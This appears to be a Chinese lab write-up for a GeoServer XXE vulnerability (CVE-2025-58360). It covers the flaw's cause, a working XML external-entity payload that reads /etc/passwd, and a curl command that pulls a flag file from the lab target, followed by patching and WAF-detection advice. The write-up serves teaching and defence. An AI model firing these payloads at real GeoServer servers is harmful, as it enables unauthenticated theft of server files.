玄机网络安全靶场:GeoServer XXE 任意文件读取(CVE-2025-58360)

解题报告:GeoServer XXE 任意文件读取(CVE-2025-58360)

平台: 玄机 (xj.edisec.net)
题目 ID: 443
难度: 简单
类型: 渗透
积分: 300 分
完成状态: ✅ 已完成
Flag: FLAG{CVE-2025-58360_GeoServer_XXE_Success}


一、漏洞背景

CVE-2025-58360 是 GeoServer(一款开源地理空间数据服务器)中存在的 XML 外部实体注入(XXE) 漏洞。该漏洞于 2025 年 11 月 25 日由 XBOW 安全研究团队披露,CVSS v3 评分 8.2(高危),且已被 CISA 确认存在在野利用。

属性 详情
CVE 编号 CVE-2025-58360
影响版本 GeoServer ≤ 2.25.5 及 2.26.0--2.26.1
修复版本 GeoServer 2.25.6 / 2.26.2 / 2.27.0+
漏洞类型 XML 外部实体注入(XXE → 任意文件读取 / SSRF)
漏洞端点 POST /geoserver/wms(operation=GetMap)
CVSS 评分 8.2(高危)
认证要求 无需认证(未授权可利用)

二、靶机信息

项目
靶机公网 IP 68.79.22.133
靶机内网 IP 10.0.10.2
服务端口 8081
服务路径 /geoserver
目标文件 /usr/local/flag.txt

三、漏洞分析

3.1 漏洞成因

GeoServer 的 WMS(Web Map Service)GetMap 操作支持通过请求体传入 StyledLayerDescriptor(SLD) 格式的 XML 数据,用于描述地图渲染样式。然而,GeoServer 使用的 XML 解析器未禁用外部实体解析(DTD/ENTITY),导致攻击者可以在 SLD XML 中定义外部实体,引用服务器本地文件,从而实现任意文件读取。

复制代码
POST /geoserver/wms?service=WMS&request=GetMap&...
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">    ← 定义外部实体
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>    ← 引用实体,触发文件读取
  </NamedLayer>
</StyledLayerDescriptor>

3.2 数据泄露路径

GeoServer 在处理 GetMap 请求时,将 <Name> 标签的内容作为图层名称进行查找。当图层名称不存在时,服务器会在 ServiceExceptionReport 响应中返回 Unknown layer: <图层名> 的错误信息,而此时图层名已被替换为外部实体的文件内容,从而实现带内(In-Band)XXE 数据泄露


四、漏洞利用过程

4.1 确认服务可访问

bash 复制代码
curl -s -o /dev/null -w "HTTP Status: %{http_code}\n" \
  http://68.79.22.133:8081/geoserver/web/
# 返回 HTTP 302(重定向至登录页),确认 GeoServer 服务存在

4.2 构造 XXE Payload

bash 复制代码
curl -s -X POST \
  -H "Content-Type: application/xml" \
  "http://68.79.22.133:8081/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" \
  --data '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///usr/local/flag.txt">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>'

4.3 服务器响应(含 Flag)

服务器返回 XML 格式的错误响应,文件内容在 <ServiceException> 标签中泄露:

xml 复制代码
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE ServiceExceptionReport SYSTEM 
  "http://68.79.22.133:8081/geoserver/schemas/wms/1.1.1/WMS_exception_1_1_1.dtd">
<ServiceExceptionReport version="1.1.1">
  <ServiceException>
    Unknown layer: FLAG{CVE-2025-58360_GeoServer_XXE_Success}
  </ServiceException>
</ServiceExceptionReport>

Flag 成功读取: FLAG{CVE-2025-58360_GeoServer_XXE_Success}


五、关键技术要点

1. 带内 XXE(In-Band XXE):本漏洞属于带内 XXE,文件内容直接在 HTTP 响应体中返回,无需外带(OOB)通道,利用极为简单。

2. 无需认证/geoserver/wms 端点无需登录即可访问,攻击者可直接发起利用。

3. 一次请求即可获取 Flag :整个利用过程仅需一条 curl 命令,响应时间约 2 秒,极为高效。

4. 数据泄露载体:GeoServer 将未知图层名称原样返回在错误信息中,这是 XXE 数据泄露的关键路径。


六、修复建议

修复方向 具体措施
升级版本 升级至 GeoServer 2.25.6、2.26.2 或 2.27.0 及以上版本
禁用外部实体 在 XML 解析器配置中设置 FEATURE_SECURE_PROCESSING = true,禁用 DTD 和外部实体
网络访问控制 限制 GeoServer 管理端口仅对可信 IP 开放
WAF 规则 检测请求体中包含 <!DOCTYPE<!ENTITYSYSTEM 等 XXE 特征的请求
相关推荐
Dovis(誓平步青云)2 分钟前
《Linux CPU频率为何忽高忽低:cpufreq、idle状态与性能抖动教程》
linux·运维·服务器·spring boot·后端·生成对抗网络
小此方20 分钟前
Re:Linux系统篇(四十三)信号篇·一:谁在敲进程的门?一篇带你了解信号概念与产生机制
linux·运维·驱动开发
Lhappy嘻嘻7 小时前
Java IO|File 文件操作 + 字节流 / 字符流完整笔记 + 递归删除文件实战
java·笔记·php
Championship.23.247 小时前
Linux 3.0 锁机制与故障排查详解
linux·运维·服务器
伊玛目的门徒8 小时前
试用leetcode之典中典 二数之和问题
java·算法·leetcode
QYR-分析9 小时前
机器人安全控制器行业高速扩容 本土替代迎来全新发展窗口期
人工智能·安全·机器人
风123456789~9 小时前
【Linux专栏】ls 排除某个文件
linux·运维·服务器
IpdataCloud10 小时前
担心IP暴露隐私?用安全IP查询工具自查,三步配置网络出口
网络·tcp/ip·安全·ip
xy345310 小时前
wireshark 如何捕获信息
网络·测试工具·渗透测试·wireshark
其实防守也摸鱼10 小时前
运维--学习阶段问题解答(1)(自测)
linux·运维·服务器·数据库·学习·自动化·命令模式